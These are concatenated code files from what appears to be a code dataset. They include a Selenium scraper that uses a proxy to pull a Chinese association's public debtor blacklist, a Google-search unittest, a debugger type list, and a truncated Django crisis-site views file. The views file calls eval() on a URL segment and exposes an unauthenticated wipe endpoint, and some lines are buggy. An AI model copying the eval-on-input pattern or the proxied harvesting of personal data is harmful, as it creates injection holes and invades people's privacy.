+{"seq_id":"282798710","text":"import time\r\nimport random\r\n\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\n\r\nfrom selenium import webdriver\r\nopt = webdriver.ChromeOptions() # 创建浏览器\r\nPROXY = \"119.142.197.77:4216\"\r\n\r\nopt.add_argument('--proxy-server={0}'.format(PROXY))\r\n\r\ndriver = webdriver.Chrome(options=opt) # 创建浏览器对象\r\n\r\n# 请求页面\r\ndriver.get(\"http://jr.yzx360.com/list\")\r\n\r\n\r\n#抓取\r\nstr_table='''//li[@class='clearfix']'''\r\nlocator = (By.XPATH, str_table)\r\nbox = WebDriverWait(driver, 20, 0.5).until(EC.presence_of_element_located(locator))\r\n\r\n# 手动登陆\r\ntime.sleep(5)\r\n\r\n# 页面���表\r\npage_list = []\r\n\r\n# 返回内容\r\ncontent_list=[]\r\n\r\n# 初始页面\r\nis_final = False\r\ntmp_page = 4659\r\n# source\r\nlabel = '北京互联网金融协会-全国老赖'\r\n\r\nwhile ((not is_final)&(tmp_page<=4659)):\r\n # 获取table内容\r\n table = driver.find_elements_by_xpath(\"//li[@class='clearfix']\")\r\n print('-' * 100)\r\n print('page:' + str(tmp_page))\r\n\r\n for i in range(len(table)):\r\n print('number:' + str(i))\r\n content_list.append(table[i].text)\r\n page_list.append(tmp_page)\r\n print(table[i].text)\r\n\r\n\r\n tmp_page = tmp_page - 1\r\n\r\n str_fanye = \"//button[@class='btn-prev']\"\r\n\r\n # 翻页,异常时任务到底\r\n try:\r\n #str_fanye_next = \"//li[@class='next']\"\r\n driver.find_element_by_xpath(str_fanye).click() # 利用xpath查找元素进行输入文本\r\n\r\n #获取active页面页码\r\n str_active='''//li[@class='number active']'''\r\n locator = (By.XPATH, str_active)\r\n box = WebDriverWait(driver, 20, 0.5).until(EC.presence_of_element_located(locator))\r\n active_page = driver.find_element_by_xpath(str_active)\r\n print('active page:'+active_page.text)\r\n\r\n\r\n time.sleep(random.sample(range(3,6), 1)[0])\r\n\r\n except Exception:\r\n is_final = True\r\n # 最终保存\r\n df_tmp = pd.DataFrame([page_list, content_list]).T\r\n df_tmp.columns = ['page_list', 'content_list']\r\n print('save data:' + str(tmp_page))\r\n df_tmp.to_excel('D:/xianghuanji/code_total/爬虫/互联网协会/data/' + str(tmp_page) + '_'+str(i) + label + '_final.xlsx', encoding='utf-8', index=False)\r\n\r\n #每隔50页保存一次\r\n if tmp_page % 30 == 0:\r\n import pandas as pd\r\n df_tmp = pd.DataFrame([page_list, content_list]).T\r\n df_tmp.columns = ['page_list', 'content_list']\r\n print('save data:' + str(tmp_page))\r\n df_tmp.to_excel('D:/xianghuanji/code_total/爬虫/互联网协会/data/' + str(tmp_page) + '_' + label + '.xlsx', encoding='utf-8', index=False)\r\n\r\n\r\n\r\n# str_fanye = \"//button[@class='btn-next']\"\r\n# flag_1=True\r\n# while (flag_1):\r\n# str_active = '''//li[@class='number active']'''\r\n# active_page = driver.find_element_by_xpath(str_active)\r\n# int_active_page=int(active_page.text)\r\n# driver.find_element_by_xpath(str_fanye).click()\r\n# time.sleep(1)\r\n# print(str(int_active_page))\r\n# if int_active_page>=1000:\r\n# flag_1=False\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"爬虫/互联网协会/3-北京互联网协会失信曝光.py","file_name":"3-北京互联网协会失信曝光.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"583590420","text":"# Find and load a module given its string name, \"math\",\n# then assign it to a local variable called math.\n# \n# Actual behind the scene line\n# math = __import__(\"math\")\n\nimport unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys \n\nclass SeleniumTwo(unittest.TestCase):\n\t'''\n\t\tIdentation Is Required For Docs String Also.\n\t\t\n\t\tThis Test Case Is For Selenium Learn With Python.\n\t\tAutomating A Simple Google Search In Chrome Browser.\n\t\tchromedriver Is Expected To Be Present In Path Variable Of The System.\n\t'''\n#class SeleniumTwo():\n\n\turl = \"https://www.google.co.in\"\t\n\n\tdef setUp(self):\n\t\toption = webdriver.ChromeOptions()\n\t\toption.add_experimental_option('excludeSwitches', ['enable-logging'])\n\t\tself.driver = webdriver.Chrome(options=option)\n\t\t\n\tdef test(self):\n\t\tself.driver.get(SeleniumTwo.url)\n\t\tsrchbox = self.driver.find_element_by_name('q')\n\t\tsrchbox.send_keys('Hello Brother Songs')\n\t\tsrchbox.submit()\n\t\t\n\t\tresult = self.driver.find_elements_by_xpath(\"//img[contains(@class, 'rISBZc')]\")\n\t\tprint(len(result))\n\t\t\n\t\ttry:\n\t\t\tself.assertIn(\"Google\", self.driver.title)\n\t\t\n\t\texcept AttributeError as e:\n\t\t\tprint('Attribute Error Captured!')\n\t\t\n\t\telse:\n\t\t\tprint('No Attribute Error')\n\t\t\t\n\t\tfinally:\n\t\t\tprint('Worked Fine')\n\t\t\n\tdef tearDown(self):\n\t\tself.driver.close()\n\t\t\nif __name__ == \"__main__\":\t\n\t'''\n\ts = SeleniumTwo()\n\ts.setUp()\n\ts.test()\n\ts.tearDown()\n\t'''\n\tunittest.main()","sub_path":"learn_codes/Selenium/SeleniumTwo.py","file_name":"SeleniumTwo.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"309204281","text":"# -*- coding: utf-8 -*-\n\n# Copyright (c) 2005 - 2011 Detlev Offenbach \n#\n\n\"\"\"\nModule defining type strings for the different Python types.\n\"\"\"\n\nConfigVarTypeStrings = ['__', 'NoneType', 'type',\\\n 'bool', 'int', 'long', 'float', 'complex',\\\n 'str', 'unicode', 'tuple', 'list',\\\n 'dict', 'dict-proxy', 'set', 'file', 'xrange',\\\n 'slice', 'buffer', 'class', 'instance',\\\n 'instance method', 'property', 'generator',\\\n 'function', 'builtin_function_or_method', 'code', 'module',\\\n 'ellipsis', 'traceback', 'frame', 'other']\n","sub_path":"RemoteDebug/dbg_client/DebugConfig.py","file_name":"DebugConfig.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"257221515","text":"from django.shortcuts import render, get_object_or_404\nfrom django.template.loader import render_to_string\nfrom django.db.models.loading import get_model\nfrom django.db.models import fields\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom wc.models import *\nfrom xml.etree.ElementTree import Element, SubElement, Comment, tostring, fromstring, register_namespace\nfrom xml.etree import ElementTree\nfrom xml.dom import minidom\nfrom validate_string import validatexml\nfrom types import *\nimport re\nfrom django.db import models\nimport logging\nfrom django.utils import simplejson\nfrom search.core import search\nimport time\n\n\nlogger = logging.getLogger(__name__)\nSCache = {}\n\n\ndef process(request, type, slug):\n '''\n Render a template for a Person, Organization or Crisis. Arguements are extracted from the requested URL.\n request an HTTP request object\n type is the type of content that needs to be rendered - Person, Organization or Crisis\n slug is the unique ID for that entity - east_african_drought, saddam_hussein, etc.\n '''\n \n klass = eval(type.capitalize())\n content = get_object_or_404(klass, id=slug)\n content.images = Image.objects.filter(related_id=slug)\n content.videos = Video.objects.filter(related_id=slug)\n content.social_networks = SocialNetwork.objects.filter(related_id=slug)\n content.external_links = ExternalLink.objects.filter(related_id=slug)\n # Need to refactor the next three lines people, organizations, and crises\n people = Person.objects.all()\n organizations = Organization.objects.all()\n crises = Crisis.objects.all()\n\n related_items = ['person','crisis','organization']\n \n related_items.remove(type)\n # Example usage in a template: {{content.related.organization.0.name}}\n content.related = {}\n \n for related_item in related_items:\n ref_string = related_item+'_refs'\n content_related_items = content.__dict__[ref_string]\n for content_related_item in content_related_items:\n items = list(eval(related_item.capitalize()).objects.filter(id=content_related_item))\n for item in items:\n item.type = related_item\n # Usage in template: {{content.related.crisis.0.type}}\n if content.related.has_key(related_item):\n content.related[related_item] += [item]\n else: \n content.related[related_item] = items\n # The templates dont like sets. Convert the set of images for everything to lists.\n for (k, v) in content.related.items():\n for thing in v:\n a = list(thing.images)\n thing.images = a\n return render(request, 'base.html', {'content':content, 'type':type, 'people':people, 'organizations':organizations, \"crises\":crises})\n\n\n# Search stuff.\ndef livesearch(request): \n start = time.clock()\n query = request.GET.get(\"q\")\n if query:\n db_results = [{\"Name\":result.name, \"URL\": get_url(result), \"Type\": get_type(result), \"Image\":(len(list(result.images))>0 and list(result.images)[0]),\n \"Context\": get_result_context(query, result)} for result in database_search(query)]\n results = [{'results':db_results}]\n else:\n results = [{'keywords' : get_all_search_suggestions()}]\n end = time.clock()\n results += [{'time': \"%.2gs\" % (end-start)}]\n response = JSONResponse(results, {}, response_mimetype(request))\n response['Content-Disposition'] = 'inline; filename=files.json'\n return response\n\ndef database_search(query):\n #l1 cache\n global SCache\n if SCache.get(query) is not None:\n return SCache.get(query)\n \n results = []\n querysplit = query.split(' ')\n \n # try query\n\n results += search(Person, query, search_index='person_level1')\n results += search(Organization, query, search_index='organization_level1')\n results += search(Crisis, query, search_index='crisis_level1')\n \n results += search(Person, query, search_index='auto_person_level1')\n results += search(Organization, query, search_index='auto_organization_level1')\n results += search(Crisis, query, search_index='auto_crisis_level1')\n \n results += search(Person, query, search_index='person_level2')\n results += search(Organization, query, search_index='organization_level2')\n results += search(Crisis, query, search_index='crisis_level2')\n \n results += search(Person, query, search_index='person_level3')\n results += search(Organization, query, search_index='organization_level3')\n results += search(Crisis, query, search_index='crisis_level3')\n\n if len(results) < 1:\n for q in querysplit: \n results += search(Person, q, search_index='person_level1')\n results += search(Organization, q, search_index='organization_level1')\n results += search(Crisis, q, search_index='crisis_level1')\n if len(results) < 5:\n for q in querysplit:\n results += search(Person, q, search_index='person_level2')\n results += search(Organization, q, search_index='organization_level2')\n results += search(Crisis, q, search_index='crisis_level2')\n if len(results) < 10:\n for q in querysplit:\n results += search(Person, q, search_index='person_level3')\n results += search(Organization, q, search_index='organization_level3')\n results += search(Crisis, q, search_index='crisis_level3')\n if len(results) < 1:\n for q in querysplit:\n results += search(Person, q, search_index='auto_person_level2')\n results += search(Organization, q, search_index='auto_organization_level2')\n results += search(Crisis, q, search_index='auto_crisis_level2')\n\n results += search(Person, q, search_index='auto_person_level3')\n results += search(Organization, q, search_index='auto_organization_level3')\n results += search(Crisis, q, search_index='auto_crisis_level3')\n \n if(len(SCache) > 10):\n SCache.pop(SCache.keys()[0])\n SCache.update({query:f7(results)})\n else:\n SCache.update({query:f7(results)})\n return f7(results)\n\ndef f7(seq):\n seen = set()\n seen_add = seen.add\n return [ x for x in seq if x not in seen and not seen_add(x)]\n\ndef get_url(result):\n return \"/\"+get_type(result).lower()+\"/\"+result.id + \"/\"\n\ndef get_type(a_class):\n string = str(type(a_class))\n return {\"\": \"Person\",\n \"\": \"Organization\",\n \"\": \"Crisis\"}[string]\n\ndef get_result_context(query, result):\n\n desc = result.description.lower()\n query = query.lower()\n name = result.name.lower()\n kind = result.kind.lower()\n city = result.city.lower()\n state = result.state.lower()\n country = result.country.lower()\n\n if isinstance(result, Crisis):\n help = result.help_and_resources.lower()\n if query in name:\n return \"Main Article : \" + result.name\n elif query in kind:\n pos = kind.rfind(query)\n snippet = kind[(pos- (64 - len(query))):(pos + (64 - len(query)))] + \"...\"\n return \"Type: \" + snippet\n elif query in desc:\n pos = desc.rfind(query)\n snippet = desc[pos:(pos + (64 - len(query)))] + \"...\"\n return \"Summary: \" + snippet[:len(query)] + \" \" + snippet[len(query):] \n elif query in city:\n return \"City: \" + result.city\n elif query in state:\n return \"State: \" + result.state\n elif query in country:\n return \"Country: \" + result.country\n elif query in help:\n pos = help.rfind(query)\n snippet = help[pos:(pos + (64 - len(query)))] + \"...\"\n return \"How to Help: \" + snippet\n elif query in result.relatedkeywords.lower():\n return \"Related Article : \" + result.name \n querysplit = query.split(\" \")\n for q in querysplit:\n if q in name:\n return \"Main Article : \" + result.name\n elif q in kind:\n pos = kind.rfind(q)\n snippet = kind[(pos- (64 - len(q))):(pos + (64 - len(q)))] + \"...\"\n return \"Type: \" + snippet\n elif q in desc:\n pos = desc.rfind(q)\n snippet = desc[pos:(pos + (64 - len(q)))] + \"...\"\n return \"Summary: \" + snippet[:len(q)] + \" \" + snippet[len(q):] \n elif q in city:\n return \"City: \" + result.city\n elif q in state:\n return \"State: \" + result.state\n elif q in country:\n return \"Country: \" + result.country\n elif q in help:\n pos = help.rfind(q)\n snippet = help[pos:(pos + (64 - len(q)))] + \"...\"\n return \"How to Help: \" + snippet\n elif q in result.relatedkeywords.lower():\n return \"Related Article : \" + result.name \n\n if isinstance(result, Organization):\n address = str(result.address).lower()\n phone = str(result.phone).lower()\n email = str(result.email).lower()\n if query in name:\n return \"Main Article : \" + result.name\n elif query in kind:\n pos = kind.rfind(query)\n snippet = kind[(pos- (64 - len(query))):(pos + (64 - len(query)))] + \"...\"\n return \"Type: \" + snippet\n elif query in address:\n return \"Address: \" + str(result.address)\n elif query in phone:\n return \"Phone: \" + str(result.phone)\n elif query in email:\n return \"Email: \" + str(result.email)\n elif query in desc:\n pos = desc.rfind(query)\n snippet = desc[pos:(pos + (64 - len(query)))] + \"...\"\n return \"Summary: \" + snippet[:len(query)] + \" \" + snippet[len(query):] \n elif query in city:\n return \"City: \" + result.city;\n elif query in state:\n return \"State: \" + result.state;\n elif query in country:\n return \"Country: \" + result.country;\n elif query in result.relatedkeywords.lower():\n return \"Related Article : \" + result.name \n querysplit = query.split(\" \")\n for q in querysplit:\n if q in name:\n return \"Main Article : \" + result.name\n elif q in kind:\n pos = kind.rfind(q)\n snippet = kind[(pos- (64 - len(q))):(pos + (64 - len(q)))] + \"...\"\n return \"Type: \" + snippet\n elif q in address:\n return \"Address: \" + str(result.address)\n elif q in phone:\n return \"Phone: \" + str(result.phone)\n elif q in email:\n return \"Email: \" + str(result.email)\n elif q in desc:\n pos = desc.rfind(q)\n snippet = desc[pos:(pos + (64 - len(q)))] + \"...\"\n return \"Summary: \" + snippet[:len(q)] + \" \" + snippet[len(q):] \n elif q in city:\n return \"City: \" + result.city;\n elif q in state:\n return \"State: \" + result.state;\n elif q in country:\n return \"Country: \" + result.country;\n elif q in result.relatedkeywords.lower():\n return \"Related Article : \" + result.name \n\n if isinstance(result, Person):\n if query in name:\n return \"Main Article : \" + result.name\n elif query in kind:\n pos = kind.rfind(query)\n snippet = kind[(pos- (64 - len(query))):(pos + (64 - len(query)))] + \"...\"\n return \"Type: \" + snippet\n elif query in desc:\n pos = desc.rfind(query)\n snippet = desc[pos:(pos + (64 - len(query)))] + \"...\"\n return \"Bio: \" + snippet[:len(query)] + \" \" + snippet[len(query):] \n elif query in city:\n return \"City: \" + result.city;\n elif query in state:\n return \"State: \" + result.state;\n elif query in country:\n return \"Country: \" + result.country;\n elif query in result.relatedkeywords.lower():\n return \"Related Article : \" + result.name \n querysplit = query.split(\" \")\n for q in querysplit:\n if q in name:\n return \"Main Article : \" + result.name\n elif q in kind:\n pos = kind.rfind(q)\n snippet = kind[(pos- (64 - len(q))):(pos + (64 - len(q)))] + \"...\"\n return \"Type: \" + snippet\n elif q in desc:\n pos = desc.rfind(q)\n snippet = desc[pos:(pos + (64 - len(q)))] + \"...\"\n return \"Bio: \" + snippet[:len(q)] + \" \" + snippet[len(q):] \n elif q in city:\n return \"City: \" + result.city;\n elif q in state:\n return \"State: \" + result.state;\n elif q in country:\n return \"Country: \" + result.country;\n elif q in result.relatedkeywords.lower():\n return \"Related Article : \" + result.name \n return \"Main Article : \" + result.name\n\ndef get_all_search_suggestions():\n keywords = []\n for p in Person.objects.all():\n keywords.append(p.name)\n for c in Crisis.objects.all():\n keywords.append(c.name)\n for o in Organization.objects.all():\n keywords.append(o.name)\n return sorted(keywords)\n \ndef update_indexes(request):\n for p in Person.objects.all():\n p.save()\n for C in Crisis.objects.all():\n C.save()\n for o in Organization.objects.all():\n o.save()\n for ri in Image.objects.all():\n ri.save()\n for rv in Video.objects.all():\n rv.save()\n for rsn in SocialNetwork.objects.all():\n rsn.save()\n for rel in ExternalLink.objects.all():\n rel.save()\n return HttpResponseRedirect('/')\n \ndef response_mimetype(request):\n if \"application/json\" in request.META['HTTP_ACCEPT']:\n return \"application/json\"\n else:\n return \"text/plain\"\n\nclass JSONResponse(HttpResponse):\n \"\"\"JSON response class.\"\"\"\n def __init__(self,obj='',json_opts={},mimetype=\"application/json\",*args,**kwargs):\n content = simplejson.dumps(obj,**json_opts)\n super(JSONResponse,self).__init__(content,mimetype,*args,**kwargs) \n \ndef sitemap_generator(request):\n people = Person.objects.all()\n organizations = Organization.objects.all()\n crises = Crisis.objects.all()\n return render(request, 'sitemap.html', {'people':people, 'organizations':organizations, \"crises\":crises})\n\ndef index(request):\n people = Person.objects.all()\n organizations = Organization.objects.all()\n crises = Crisis.objects.all()\n return render(request, 'index.html', {'people':people, 'organizations':organizations, \"crises\":crises})\n \ndef wipe(request):\n '''\n Erase everything in the database.\n request is an HTTP request object.\n '''\n global SCache\n SCache.clear()\n for p in Person.objects.all():\n p.delete()\n for C in Crisis.objects.all():\n C.delete()\n for h in HumanImpact.objects.all():\n h.delete()\n for o in Organization.objects.all():\n o.delete()\n for ri in Image.objects.all():\n ri.delete()\n for rv in Video.objects.all():\n rv.delete()\n for rsn in SocialNetwork.objects.all():\n rsn.delete()\n for rel in ExternalLink.objects.all():\n rel.delete()\n return HttpResponseRedirect('/')\n\ndef export(request):\n '''\n Export the contents of the datastore. Output will be in XML.\n request is a HTTP response object.\n '''\n xml_string = generate_xml_dump()\n #validstring = validatexml(xml_string)\n #assert validstring == 'Validation Complete'\n return render(request, 'export.xml', {'xml': xml_string}, content_type=\"application/xml\",)\n\ndef generate_xml_dump():\n \"\"\"\n Returns an XML string representation of the contents of the datastore\n The outermost level tag is \n \"\"\"\n top_tag = Element('world-crises')\n top_tag.set(\"xmlns:xsi\", \"http://www.w3.org/2001/XMLSchema-instance\")\n export_crises(top_tag)\n export_organizations(top_tag) \n export_people(top_tag)\n xml = '' \n xml += ElementTree.tostring(top_tag)\n return xml\n\ndef export_people(parent_tag):\n '''\n Export all the People objects.\n parent_tag is the tag that all the items will be attached to.\n '''\n people = Person.objects.all()\n if people is not None:\n people_tag = SubElement(parent_tag, 'people')\n for person in people:\n person_tag = SubElement(people_tag,'person',id=person.id)\n serialize_to_xml(person_tag,person)\n\ndef export_organizations(parent_tag):\n '''\n Export all the Organization objects.\n parent_tag is the tag that all the items will be attached to.\n '''\n orgs = Organization.objects.all()\n if orgs is not None:\n orgs_tag = SubElement(parent_tag, 'organizations')\n for org in orgs:\n org_tag = SubElement(orgs_tag, 'organization',id=org.id)\n serialize_to_xml(org_tag,org)\n\ndef export_crises(parent_tag):\n '''\n Export all the Crises objects.\n parent_tag is the tag that all the items will be attached to.\n '''\n crises = Crisis.objects.all()\n if crises is not None:\n crises_tag = SubElement(parent_tag, 'crises')\n for crisis in crises:\n crisis_tag = SubElement(crises_tag, 'crisis',id=crisis.id)\n serialize_to_xml(crisis_tag,crisis)\n\ndef serialize_to_xml(parent_tag,object):\n \"\"\"\n Serializes a Django object into XML and attaches it as a SubElement of the parent_tag Element parameter.\n Handles Char/Int Fields, ListFields and ForeignKey fields\n \n ListField entries are appended in sequence with no outer wrapper tag. eg. the images attribute will be\n serialized into a sequence of tags without a wrapper tag.\n \"\"\"\n logger.info(\"****** in serialize ******\")\n for field in type(object)._meta.fields:\n if field.name in [\"id\",\"type\",\"related_id\",\"relatedkeywords\"]:\n continue\n #Some things just need to pass if they are empty\n if field.name in [\"state\", \"email\", \"history\"]:\n if not getattr(object,field.name):\n continue\n \n if type(field) in [fields.SetField,fields.ListField]: \n list = getattr(object,field.name)\n klass = klass_for_listfield(field.name) \n assert list is not None\n if field.name in [\"crisis_refs\", \"person_refs\", \"organization_refs\"]:\n tag_name = tag_name_for_listfield(field.name)\n SubElement(parent_tag, tag_name).text = \" \".join(getattr(object, field.name))\n continue\n else:\n for ele in list:\n tag_name = tag_name_for_listfield(field.name)\n if klass is not None: #List of model reference ids\n child = klass.objects.get(id=ele) #fetch the resource\n try: #attempt to assign 'type' attribute\n sub = SubElement(parent_tag,tag_name,{\"-\".join([str(tag_name),\"type\"]):child.type}) \n except AttributeError:\n sub = SubElement(parent_tag,tag_name)\n serialize_to_xml(sub,child)\n else: #List of String\n SubElement(parent_tag, tag_name).text = str(ele)\n else:\n tag_name = re.sub('_','-',field.name)\n if type(field) is models.fields.related.ForeignKey:\n child_obj = getattr(object,field.name)\n sub = SubElement(parent_tag,tag_name)\n serialize_to_xml(sub,child_obj)\n else: #basic Char or Int field type\n val = field.value_to_string(object)\n SubElement(parent_tag, tag_name).text = val\n\ndef tag_name_for_listfield(field_name):\n \"\"\"\n Normalizes the model attributes so they match the XML schema tags\n \"\"\"\n if field_name == \"social_networks\": \n tag_name = \"social\"\n elif field_name == \"ways_to_help\":\n tag_name = \"way-to-help\"\n elif field_name == \"external_links\":\n tag_name = \"external-link\"\n elif field_name == \"resources_needed\":\n tag_name = \"resource\"\n elif field_name == \"organization_refs\":\n tag_name = \"organization-refs\"\n elif field_name == \"crisis_refs\":\n tag_name = \"crisis-refs\"\n elif field_name == \"person_refs\":\n tag_name = \"person-refs\"\n else:\n tag_name = field_name[0:-1] #remove the 's'\n return tag_name\n\ndef klass_for_listfield(field_name):\n \"\"\"\n field_name - string form of a Django attribute\n Returns the model klass that corresponds to this attribute, or None if there is no matching klass\n eg. klass_from_field('social_networks') -> SocialNetwork\n \"\"\"\n singular_name = field_name[0:-1] \n klass_name = underscore_to_camelcase(singular_name) \n return get_model('wc',klass_name) \n \ndef tools(request, tool_box):\n if request.method == 'POST':\n form = ImportForm(request.POST, request.FILES)\n if form.is_valid():\n input_string = request.FILES['file'].read()\n import_result = handle_imported_data(input_string, request.POST[\"type\"])\n if import_result == 'Validation Complete':\n message = \"XML validated and successfully imported.\"\n else:\n message = \"Import failed: \" + import_result\n return render(request, 'tool_box/import-result.html', {'message': message})\n else:\n \n form = ImportForm()\n \n return render(request, 'tool_box/form.html', {'form': form})\n\n \ndef handle_imported_data(xml_string, merge):\n \"\"\"\"\"\n # handle_imported_data\n # attempts to validate, parse and import xml data into GAE models\n # the default behavior of import is to query the datastore for an existing instance of the unique id, if found then update the data, if not found then create a new model\n # if parameter merge is true then the same query is perfomed, however if an existing instance is found new images, videos, social network, and external links are added to the already existing set\n # instead of being overwritten (as well as resources and ways to help for Crisis), all other data is updated with the imported data.\n # input: a string representation of an xml file, boolean merge indicates whether to merge or not\n # output: a string indicating if the import was successful\n \"\"\"\"\"\n #assert type(xml_string) is StringType, 'xml_string is not type string'\n validstring = validatexml(xml_string)\n #assert type(validstring) is StringType, 'validstring is not type string'\n if validstring == 'Validation Complete':\n # clear search cache\n global SCache\n SCachex.clear()\n\n # parse xmlfile into ElementTree\n tree = ElementTree.ElementTree(fromstring(xml_string))\n # import ElementTree to models\n # import People\n people = tree.find('people')\n if people is not None:\n importpeople(people, merge)\n # import Organizations\n organizations = tree.find('organizations')\n if organizations is not None:\n importorganizations(organizations, merge)\n # import Crisis\n crises = tree.find('crises')\n if crises is not None:\n importcrises(crises, merge)\n return validstring\n\ndef importpeople(people, merge):\n \"\"\"\"\"\n # importpeople\n # finds all the people in a \"person\" Element Object then builds a GAE model for each and saves them in the GAE datastore\n # input: Element Object, boolean to indicate merge\n # output: None\n \"\"\"\"\"\n #assert isinstance(people, Element), 'people is not instance of Element'\n\n personlist = people.findall('person')\n for person in personlist:\n p = Person()\n id = person.get('id')\n p.id = id\n\n for attr in ['name','kind','description','city','state','country']:\n if person.find(attr) is not None: \n setattr(p,attr,person.find(attr).text.strip())\n \n getimages(person, p, merge, id)\n getvideos(person, p, merge, id)\n getsocialnetworks(person, p, merge, id)\n getexternallinks(person, p, merge, id)\n get_related_objects(person,'crisis-refs',p)\n get_related_objects(person,'organization-refs',p)\n p.save()\n relatedstring = \"\"\n for x in p.crisis_refs:\n relatedstring += x.replace(\"_\", \" \") + \" \"\n for y in p.organization_refs:\n relatedstring += y.replace(\"_\", \" \") + \" \"\n p.relatedkeywords = relatedstring\n p.save()\n\ndef importorganizations(organizations, merge):\n \"\"\"\"\"\n # importorganizations\n # finds all the organizations in an \"organizations\" Element Object then builds a GAE model for each and saves them in the GAE datastore\n # input: Element Object, boolean to indicate merge\n # output: None\n \"\"\"\"\"\n #assert isinstance(organizations, Element), 'organizations is not instance of Element'\n\n organizationslist = organizations.findall('organization')\n for organization in organizationslist:\n o = Organization()\n id = organization.get('id')\n o.id = id\n\n #contact information\n for attr in ['name','kind','phone','email','description','address','history','city','state','country']:\n if organization.find(attr) is not None: \n setattr(o,attr,organization.find(attr).text.strip())\n \n getimages(organization, o, merge, id)\n getvideos(organization, o, merge, id)\n getsocialnetworks(organization, o, merge, id)\n getexternallinks(organization, o, merge, id)\n get_related_objects(organization,'crisis-refs',o)\n get_related_objects(organization,'person-refs',o)\n o.save()\n relatedstring = \"\"\n for x in o.crisis_refs:\n relatedstring += x.replace(\"_\", \" \") + \" \"\n for y in o.person_refs:\n relatedstring += y.replace(\"_\", \" \") + \" \"\n o.relatedkeywords = relatedstring\n o.save()\n\ndef importcrises(crises, merge):\n \"\"\"\"\"\n # importcrises\n # finds all the crisis in a \"crises\" Element Object then builds a GAE model for each and saves them in the GAE datastore\n # input: Element Object, boolean to indicate merge\n # output: None\n \"\"\"\"\"\n #assert isinstance(crises, Element), 'crises is not instance of Element'\n \n crisislist = crises.findall('crisis')\n for crisis in crisislist:\n c = Crisis()\n _id = crisis.get('id')\n c.id = _id\n\n for attr in ['name','kind','description','date','city','state','country','economic-impact']:\n if crisis.find(attr) is not None: \n setattr(c,attr,crisis.find(attr).text.strip())\n \n h = HumanImpact()\n humanimpact = crisis.find('human-impact')\n injured = humanimpact.find('injured')\n if injured is not None:\n if injured.text is not None:\n h.injured = injured.text.strip()\n deaths = humanimpact.find('deaths')\n if deaths is not None:\n if deaths.text is not None:\n h.deaths = deaths.text.strip()\n missing = humanimpact.find('missing')\n if missing is not None:\n if missing.text is not None:\n h.missing = missing.text.strip()\n displaced = humanimpact.find('displaced')\n if displaced is not None:\n if displaced.text is not None:\n h.displaced = displaced.text.strip()\n h.save()\n c.human_impact = h\n economicimpact = crisis.find('economic-impact')\n if economicimpact is not None:\n if economicimpact.text is not None:\n c.economic_impact = economicimpact.text.strip()\n\n # if merge then we retrieve the old resources and old ways to help and combine them with the new resources and new ways to help\n if merge and Crisis.objects.filter(id = _id):\n old_resources = Crisis.objects.get(id = _id).resources_needed\n old_ways = Crisis.objects.get(id = _id).ways_to_help\n for resource in old_resources:\n c.resources_needed.add(resource)\n for way in old_ways:\n c.ways_to_help.add(way)\n resourcesneeded = crisis.findall('resource')\n for resource in resourcesneeded:\n c.resources_needed.add(resource.text.strip())\n waystohelp = crisis.findall('way-to-help')\n for way in waystohelp:\n c.ways_to_help.add(way.text.strip())\n getimages(crisis, c, merge, _id)\n getvideos(crisis, c, merge, _id)\n getsocialnetworks(crisis, c, merge, _id)\n getexternallinks(crisis, c, merge, _id)\n get_related_objects(crisis,\"organization-refs\",c)\n get_related_objects(crisis,'person-refs',c)\n c.save()\n h_and_r = \"\"\n for x in c.resources_needed:\n h_and_r += x + \" \"\n for y in c.ways_to_help:\n h_and_r += y + \" \"\n c.help_and_resources = h_and_r\n c.save()\n relatedstring = \"\"\n for x in c.person_refs:\n relatedstring += x.replace(\"_\", \" \") + \" \"\n for y in c.organization_refs:\n relatedstring += y.replace(\"_\", \" \") + \" \"\n c.relatedkeywords = relatedstring\n c.save()\n\ndef getimages(element, t, merge, id):\n \"\"\"\"\"\n # getimages\n # finds all the sub-images in an \"images\" Element Object then builds a GAE model for each, attributes them to a given Model Object and saves them in the GAE datastore\n # input: element = Element Object, boolean to indicate merge, id used to find old associated images for merge, t = Model Object (ex. t = Person(), used to attribute created image model, t.images += img.id)\n # output: None\n \"\"\"\"\"\n #assert isinstance(element, Element), 'getimages(element, t): element is not instance of Element'\n #assert isinstance(t, models.Model), 'getimages(element, t): t is not instance of Model'\n\n images = element.findall('image')\n # if merge is true, then we retain all the old images as well as the new images, otherwise it will overwrite the associated images\n if(merge and Image.objects.filter(related_id = id)):\n old_images = Image.objects.filter(related_id=id)\n for image in old_images:\n t.images.add(image.id)\n for image in images:\n d = ''\n if image.find('description') is not None:\n if image.find('description').text is not None:\n d = image.find('description').text.strip()\n img = Image(id=image.find('link').text.strip(), link=image.find('link').text.strip(), description = d, related_id = id)\n img.save()\n t.images.add(img.id)\n t.save()\n\ndef getvideos(element, t, merge, id):\n \"\"\"\"\"\n # getvideos\n # finds all the sub-videos in a \"vidoes\" Element Object then builds a GAE model for each, attributes them to a given Model Object and saves them in the GAE datastore\n # input: element = Element Object, boolean to indicate merge, id used to find old associated videos for merge, t = Model Object (ex. t = Person(), used to attribute created video model, t.videos += vid.id)\n # output: None\n \"\"\"\"\"\n #assert isinstance(element, Element), 'getvideos(element, t): element is not instance of Element'\n #assert isinstance(t, models.Model), 'getvideos(element, t): t is not instance of Model'\n\n videos = element.findall('video')\n # if merge is true, then we retain all the old videos as well as the new videos, otherwise it will overwrite the associated videos\n if(merge and Video.objects.filter(related_id = id)):\n old_videos = Video.objects.filter(related_id=id)\n for video in old_videos:\n t.videos.add(video.id)\n for video in videos:\n d = ''\n if video.find('description') is not None:\n if video.find('description').text is not None:\n d = video.find('description').text.strip()\n link = video.find('link').text.strip()\n if video.get('video-type') == \"youtube\":\n index = link.find(\"embed/\")\n if index != -1:\n v_id = link[index + 6:]\n else:\n index = link.find(\"v=\")\n end = link.find(\"feature\")\n if end != -1:\n v_id = 